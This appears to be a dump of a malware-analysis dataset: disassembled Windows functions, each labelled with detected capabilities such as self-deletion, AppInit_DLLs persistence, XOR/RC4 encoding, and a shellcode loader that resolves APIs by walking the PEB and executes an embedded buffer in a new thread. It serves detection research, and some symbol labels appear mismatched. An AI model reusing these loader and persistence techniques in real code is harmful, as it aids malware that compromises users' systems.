joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407dd0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
add edi, 0xffffffec
push edi
mov eax, dword [0x40b73c]
call fcn.00407d5c
push eax
call sub.KERNEL32.DLL_DeleteFileA
xor esi, esi
jmp 0x407e1b
mov al, byte [edi + esi + 6]
mov bl, byte [edi + esi + 7]
sub bl, al
jb 0x407e18
inc ebx
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
and eax, 0xff
bts dword [0x40a0ec], eax
inc byte [ebp - 1]
dec bl
jne 0x407e02
add esi, 2
cmp esi, 0xc
jge 0x407e2a
mov al, byte [edi + esi + 6]
or al, byte [edi + esi + 7]
jne 0x407df2
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x407e48
Capabilities:
Get geographical location
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [0x40b73c], 0x409
mov dword [0x40b740], 9
mov dword [0x40b744], 1
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
je 0x407e80
mov dword [0x40b73c], eax
test ax, ax
je 0x407ea0
mov edx, eax
and dx, 0x3ff
movzx edx, dx
mov dword [0x40b740], edx
movzx eax, ax
shr eax, 0xa
mov dword [0x40b744], eax
mov esi, 0x407f9c
mov edi, 0x40a0ec
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
cmp dword [0x40a0d8], 2
jne 0x407f65
call fcn.00407e30
test al, al
je 0x407eda
mov byte [0x40b749], 0
mov byte [0x40b748], 0
jmp 0x407f93
push ebp
call fcn.00407dd0
pop ecx
mov eax, 0x40a0ec
mov edx, 0x407f9c
mov cl, 0x20
call fcn.00402f7c
setne bl
mov byte [0x40b748], bl
test bl, bl
je 0x407f0b
mov byte [0x40b749], 0
jmp 0x407f93
mov eax, 0x80
lea edx, [ebp - 0x94]
mov byte [edx], al
inc eax
inc edx
cmp eax, 0x100
jne 0x407f16
lea eax, [ebp - 0x94]
lea edx, [ebp - 0x196]
push edx
push 0x80
push eax
push 2
mov eax, dword [0x40b73c]
push eax
call sub.KERNEL32.DLL_GetEnvironmentVariableA
mov eax, 0x80
lea edx, [ebp - 0x196]
cmp word [edx], 2
sete cl
mov byte [0x40b749], cl
test cl, cl
jne 0x407f93
add edx, 2
dec eax
jne 0x407f4c
jmp 0x407f93
push 0x4a
call sub.KERNEL32.DLL_WideCharToMultiByte
test eax, eax
setne al
mov byte [0x40b749], al
push 0x2a
call sub.KERNEL32.DLL_WideCharToMultiByte
test eax, eax
setne bl
mov byte [0x40b748], bl
test bl, bl
je 0x407f93
push ebp
call fcn.00407dd0
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408b1c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov esi, dword [ebp + 0xc]
xor ecx, ecx
push ebp
push 0x408b82
push dword fs:[ecx]
mov dword fs:[ecx], esp
call fcn.00408af0
mov ebx, eax
lea eax, [ebp - 8]
mov edx, esi
call fcn.00403f50
mov eax, dword [ebp - 8]
call fcn.00403fe8
push eax
push esi
push 1
push 0
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA
push ebx
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408b89
lea eax, [ebp - 8]
call fcn.00403d74
ret
Function at 0x408bcc
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk size
Self delete

Disassembly:
add esp, 0xfffffcb4
push 0x104
lea eax, [esp + 0x40]
push eax
push 0
call sub.KERNEL32.DLL_GetCurrentDirectoryA
test eax, eax
je 0x408cd4
push 0x104
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x44]
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
test eax, eax
je 0x408cd4
push 0x104
lea eax, [esp + 0x145]
push eax
push 0x408ce0
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
je 0x408cd4
push 0x408ce8
lea eax, [esp + 0x24a]
push eax
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x24a]
push eax
call sub.KERNEL32.DLL_LockResource
push 0x408cf0
lea eax, [esp + 0x24a]
push eax
call sub.KERNEL32.DLL_LockResource
mov dword [esp], 0x3c
xor eax, eax
mov dword [esp + 8], eax
mov eax, 0x408cf8
mov dword [esp + 0xc], eax
lea eax, [esp + 0x141]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x246]
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 4], pe_nt_image_headers32
push esp
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x408cd4
push pe_nt_image_headers32
mov eax, dword [esp + 0x3c]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x100
call sub.KERNEL32.DLL_FileTimeToDosDateTime
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0xf
call sub.KERNEL32.DLL_FileTimeToLocalFileTime
push eax
call sub.KERNEL32.DLL_GetThreadLocale
or eax, 0xffffffff
jmp 0x408cd6
xor eax, eax
add esp, 0x34c
ret

Function at 0x408d00
Capabilities:
Copy file
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x408db1
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x408dc0
push eax
mov eax, dword [0x40b660]
push eax
call sub.KERNEL32.DLL_CopyFileA
mov ebx, eax
test ebx, ebx
je 0x408d9b
push ebx
mov eax, dword [0x40b660]
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov edi, eax
push ebx
mov eax, dword [0x40b660]
push eax
call sub.KERNEL32.DLL_GetVersionExA
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403f50
mov eax, dword [ebp - 0xc]
call fcn.00405fd8
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push esi
call sub.KERNEL32.DLL_LocalFree
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
push ebx
call sub.KERNEL32.DLL_LoadResource
push ebx
call sub.KERNEL32.DLL_GetTickCount
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408db8
lea eax, [ebp - 0xc]
call fcn.00403d74
ret
Function at 0x409954
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff5c
push ebx
xor eax, eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x9c], eax
xor eax, eax
push ebp
push 0x409ac3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x94]
mov edx, 0x94
call fcn.0040501c
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.KERNEL32.DLL_GetLogicalDrives
xor ebx, ebx
cmp dword [ebp - 0x84], 2
jne 0x4099f5
mov eax, dword [ebp - 0x90]
sub eax, 3
je 0x4099ca
dec eax
je 0x4099ce
dec eax
je 0x4099d2
jmp 0x4099d4
mov bl, 5
jmp 0x4099d4
mov bl, 6
jmp 0x4099d4
mov bl, 7
cmp dword [ebp - 0x90], 5
jne 0x409aa5
cmp dword [ebp - 0x8c], 1
jne 0x409aa5
mov bl, 9
jmp 0x409aa5
cmp dword [ebp - 0x90], 4
jne 0x409a43
cmp dword [ebp - 0x8c], 0
jne 0x409a43
mov bl, 1
lea eax, [ebp - 0x9c]
lea edx, [ebp - 0x80]
mov ecx, 0x80
call fcn.00403fbc
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0x98]
call fcn.004089c0
mov eax, dword [ebp - 0x98]
mov edx, 0x409adc
call fcn.00404134
jne 0x409aa5
mov bl, 2
jmp 0x409aa5
cmp dword [ebp - 0x90], 4
jne 0x409a91
cmp dword [ebp - 0x8c], 0xa
jne 0x409a91
mov bl, 3
lea eax, [ebp - 0xa4]
lea edx, [ebp - 0x80]
mov ecx, 0x80
call fcn.00403fbc
mov eax, dword [ebp - 0xa4]
lea edx, [ebp - 0xa0]
call fcn.004089c0
mov eax, dword [ebp - 0xa0]
mov edx, 0x409ae8
call fcn.00404134
jne 0x409aa5
mov bl, 4
jmp 0x409aa5
cmp dword [ebp - 0x90], 4
jne 0x409aa5
cmp dword [ebp - 0x8c], 0x5a
jne 0x409aa5
mov bl, 8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409aca
lea eax, [ebp - 0xa4]
mov edx, 4
call fcn.00403d98
ret
Function at 0x409b44
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x409c7b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x40b7a4
call fcn.00403d74
xor ebx, ebx
mov dword [0x40b7ac], ebx
call fcn.00409890
inc ebx
cmp ebx, 4
jne 0x409b6b
call fcn.00409954
sub al, 7
je 0x409b8d
sub al, 2
jne 0x409c5b
push 0x409c90
lea eax, [ebp - 8]
call fcn.004088b4
push dword [ebp - 8]
push 0x409c9c
lea eax, [ebp - 4]
mov edx, 3
call fcn.004040a8
call fcn.00402858
lea eax, [ebp - 0x10]
call fcn.00409aec
push dword [ebp - 0x10]
push 0x409cac
mov eax, 0x186a0
call fcn.00402d34
lea edx, [ebp - 0x14]
call fcn.00408a5c
push dword [ebp - 0x14]
push 0x409cb8
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.004040a8
mov eax, dword [ebp - 0xc]
call fcn.004041d8
push eax
lea eax, [ebp - 0x18]
call fcn.00409aec
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 4]
call fcn.00403ff0
mov eax, dword [ebp - 0x18]
call fcn.004041d8
push eax
call sub.KERNEL32.DLL_GetShortPathNameA
lea eax, [ebp - 0x1c]
call fcn.00409aec
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 4]
call fcn.00403ff0
mov eax, dword [ebp - 0x1c]
call fcn.004041d8
mov edx, eax
mov eax, 0x409cc0
call fcn.00408d00
mov eax, dword [ebp - 4]
call fcn.004041d8
push eax
push 1
mov ecx, 0x409ccc
mov edx, 0x409cdc
mov eax, 0x80000002
call fcn.00408b1c
call fcn.00408bcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409c82
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00403d98
ret
Function at 0x40b988
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40b9da
test eax, edx
je 0x40b9dd
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x40b99d
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40b9c3
add ecx, 4
js 0x40b9b3
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x40b9c0
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x40b9e9
test edx, edx
jne 0x40b990
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x427a08
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x427a0e
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x402ee4
pop dword [ebp - 0x48]
mov eax, 0xe83d17ed
add eax, 0x180316f7
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x14325e7b
sub dword [ebp - 0x58], 0xc5e01930
mov dword [ebp - 0x54], 0x5502c5ee
sub dword [ebp - 0x54], 0x22cf79a9
mov dword [ebp - 0x50], 0x6b1b75a3
add dword [ebp - 0x50], 0xe130ce8b
mov dword [ebp - 0x4c], 0x26a8a8aa
add dword [ebp - 0x4c], 0xd9575756
lea eax, [ebp - 0x58]
push eax
mov eax, 0x6a0e0337
sub eax, 0x69cd8233
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x13d08b55
sub dword [ebp - 0x58], 0x9f5e21ff
mov dword [ebp - 0x54], 0xb91a45cd
add dword [ebp - 0x54], 0x88521ba8
mov dword [ebp - 0x50], 0xd1d925df
add dword [ebp - 0x50], 0x9196468d
mov dword [ebp - 0x4c], 0x9137a272
sub dword [ebp - 0x4c], 0x9137a272
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x54175888
sub eax, 0x53d6d788
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x340d7
push 0
call eax
mov ecx, 0xaa87e5f3
add ecx, 0x5578561e
mov edx, eax
mov esi, 0xd9960777
add esi, 0x26b0dc89
add esi, dword [ebp - 0x48]
mov ebx, 0x936d09d6
xor dword [ebp - 0x3c], 0x7e194a25
mov edi, dword [esi]
add dword [ebp - 0x28], 0x982f7641
add edi, ebx
xor dword [ebp - 0x34], 0xa68b7bf6
mov dword [edx], edi
sub dword [ebp - 0x18], esi
add edx, 0x91783e36
sub edx, 0x91783e32
add esi, 0x239541d9
sub esi, 0x239541d5
loop 0x403000
add eax, 0xe317
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x864a035e
add ecx, 0x79f5fca2
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x401040
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, dword fs:[0x30]
mov ebx, dword [eax + 0xc]
mov dword [ebp - 4], ebx
pop ebx
pop eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401070
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str.Kelne]
mov ecx, 0x28
push ebx
push esi
push edi
mov esi, 0x403180
mov dword [ebp - 0x10], 0x64002e
lea edi, [ebp - 0xc0]
mov dword [ebp - 0xc], 0x6c006c
rep movsd dword es:[edi], dword [esi]
movups xmmword [ebp - 0x20], xmm0
mov word [ebp - 8], 0
mov dword [ebp - 0xc4], 0
call fcn.00401040
mov edi, dword [eax + 0xc]
lea ebx, [eax + 0xc]
cmp ebx, edi
je 0x401101
mov esi, dword [edi + 0x30]
lea ecx, [ebp - 0x20]
mov dl, byte [esi]
test dl, dl
je 0x4010f3
mov al, dl
mov edx, ecx
sub esi, edx
mov dl, al
cmp al, byte [ecx]
jne 0x4010f3
mov al, byte [esi + ecx + 1]
inc ecx
mov dl, al
test al, al
jne 0x4010e2
cmp dl, byte [ecx]
je 0x40124a
mov edi, dword [edi]
cmp ebx, edi
jne 0x4010d0
xor ebx, ebx
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x50746547
push eax
push str.___The_name_of_the_function_to_be_found:__s_n
mov dword [ebp - 0x14], 0x41636f72
mov dword [ebp - 0x10], 0x65726464
mov word [ebp - 0xc], 0x7373
mov byte [ebp - 0xa], 0
call fcn.00401010
mov eax, dword [ebx + 0x3c]
mov esi, dword [eax + ebx + 0x78]
add esi, ebx
push esi
push str.___Get_the_address_of_ExportDirectory:__p_n
call fcn.00401010
mov eax, dword [esi + 0x24]
add esp, 0x10
mov ecx, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xd4], eax
add ecx, ebx
mov eax, dword [esi + 0x1c]
xor edi, edi
add eax, ebx
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xcc], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc8], eax
test eax, eax
je 0x4011b8
mov esi, dword [ecx + edi*4]
lea ecx, [ebp - 0x18]
add esi, ebx
mov dl, byte [esi]
test dl, dl
je 0x4011a1
mov al, dl
mov edx, ecx
sub esi, edx
nop dword [eax + eax]
mov dl, al
cmp al, byte [ecx]
jne 0x4011a1
mov al, byte [esi + ecx + 1]
inc ecx
mov dl, al
test al, al
jne 0x401190
cmp dl, byte [ecx]
je 0x401258
mov ecx, dword [ebp - 0xd0]
inc edi
cmp edi, dword [ebp - 0xc8]
jb 0x401177
mov edi, dword [ebp - 0xc4]
xor ebx, ebx
mov dword [ebp - 0xc8], ebx
push str.VirtualAlloc
push edi
call ebx
push str.RtlMoveMemory
push edi
mov esi, eax
call ebx
push str.CreateThread
push dword [ebp - 0xc4]
mov edi, eax
call ebx
push str.WaitForSingleObject
push dword [ebp - 0xc4]
mov ebx, eax
call dword [ebp - 0xc8]
push 0x40
push 0x1000
push 0xa0
push 0
mov dword [ebp - 0xcc], eax
call esi
mov esi, eax
lea eax, [ebp - 0xc0]
push 0xa0
push eax
push esi
call edi
push 0
push 0
push 0
push esi
push 0
push 0
call ebx
push 0xffffffffffffffff
push eax
call dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401290
mov esp, ebp
pop ebp
ret
mov ebx, dword [edi + 0x18]
mov dword [ebp - 0xc4], ebx
jmp 0x401103
mov eax, dword [ebp - 0xd4]
mov ebx, dword [ebp - 0xcc]
movzx eax, word [eax + edi*2]
mov edi, dword [ebp - 0xc4]
mov ebx, dword [ebx + eax*4]
add ebx, edi
push ebx
push str.___Get_the_address_of_GetProcAddress:__p_n
mov dword [ebp - 0xc8], ebx
call fcn.00401010
add esp, 8
jmp 0x4011c6
Function at 0x402100
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
ret

Function at 0x402910
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00402920

Function at 0x402ba0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00402bb0
Function at 0x409af0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c935
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x456a3c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
add eax, 4
mov dword [ebp - 0x18], eax
push 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call fcn.0041140c
mov ecx, dword [ebp + 0xc]
xorps xmm0, xmm0
add esp, 4
mov dword [ebp - 0x14], eax
lea esi, [eax + 8]
mov edx, dword [ecx]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409b60
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00408260
cmp dword [esi + 0x14], 0x10
mov edx, esi
mov dword [ebp - 4], 1
jb 0x409b83
mov edx, dword [esi]
xor ecx, ecx
mov edi, 0x811c9dc5
cmp dword [esi + 0x10], ecx
jbe 0x409ba2
nop
movzx eax, byte [ecx + edx]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, dword [esi + 0x10]
jb 0x409b90
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push edi
push esi
push eax
call fcn.00409930
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x409c2e
mov edi, dword [ebp + 8]
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
mov byte [edi + 4], 0
test eax, eax
je 0x409c19
mov ecx, dword [esi + 0x14]
cmp ecx, 0x10
jb 0x409bfd
mov eax, dword [esi]
inc ecx
cmp ecx, 0x1000
jb 0x409bf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409cc1
mov eax, edx
push ecx
push eax
call fcn.0041143c
mov eax, dword [ebp - 0x14]
add esp, 8
push 0x20
push eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.0041143c
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 8]
cmp eax, 0x7ffffff
je 0x409cc6
inc eax
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x430970]
mov eax, dword [ecx + 0x1c]
cvtpd2ps xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x430970]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [ecx]
jbe 0x409c96
call fcn.0040be80
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push edi
push esi
push eax
call fcn.00409930
mov ecx, dword [ebp - 0x10]
mov edx, dword [eax]
jmp 0x409c99
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x14]
push edx
push edi
call fcn.0040bc30
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, ecx
mov byte [ecx + 4], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.00414b5f
push str.unordered_map_set_too_long
call fcn.00410acb
int3
Function at 0x40c9e0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 0x28], 0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
pop ebp
ret
Function at 0x40ea20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
mov dword [ebp - 8], esi
push str.CommandLineToArgvW_failure
setne cl
movzx ecx, cl
push ecx
push 0xfe4
push str.D:_acactuscactus_src_base_system.cpp
call fcn.0040ebe0
cmp dword [ebp - 4], 0
push str.Invalid_argc_value
setg al
movzx eax, al
push eax
push 0xfe5
push str.D:_acactuscactus_src_base_system.cpp
call fcn.0040ebe0
mov eax, dword [ebp - 4]
add esp, 0x20
xor ebx, ebx
xor edi, edi
test eax, eax
jle 0x40ead9
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [esi + edi*4]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
test esi, esi
push str.WideCharToMultiByte_failure
setne cl
movzx ecx, cl
push ecx
push 0xfec
push str.D:_acactuscactus_src_base_system.cpp
call fcn.0040ebe0
mov eax, dword [ebp - 4]
add ebx, esi
mov esi, dword [ebp - 8]
inc edi
add esp, 0x10
cmp edi, eax
jl 0x40ea90
lea eax, [eax*4 + 4]
push eax
call fcn.00414bd6
push ebx
mov dword [ebp - 0xc], eax
call fcn.00414bd6
mov edi, eax
mov eax, dword [ebp - 0xc]
push ebx
push 0
push edi
mov dword [eax], edi
call fcn.00412ae0
add esp, 0x14
mov dword [ebp - 0x14], 0
cmp dword [ebp - 4], 0
jle 0x40eb78
mov ecx, dword [ebp - 0xc]
mov edx, esi
sub edx, ecx
mov dword [ebp - 0x10], ecx
mov eax, ecx
mov dword [ebp - 0x18], edx
nop
push 0
push 0
push ebx
push edi
push 0xffffffffffffffff
push dword [edx + eax]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
test esi, esi
push str.WideCharToMultiByte_failure
setne cl
movzx ecx, cl
push ecx
push 0xff8
push str.D:_acactuscactus_src_base_system.cpp
call fcn.0040ebe0
mov eax, dword [ebp - 0x10]
add edi, esi
mov ecx, dword [ebp - 0x14]
add eax, 4
mov edx, dword [ebp - 0x18]
inc ecx
add esp, 0x10
mov dword [ebp - 0x10], eax
sub ebx, esi
mov dword [ebp - 0x14], ecx
mov dword [eax], edi
cmp ecx, dword [ebp - 4]
jl 0x40eb20
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
pop edi
pop esi
mov dword [edx + eax*4], 0
mov eax, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
pop ebx
mov dword [eax], edx
mov esp, ebp
pop ebp
ret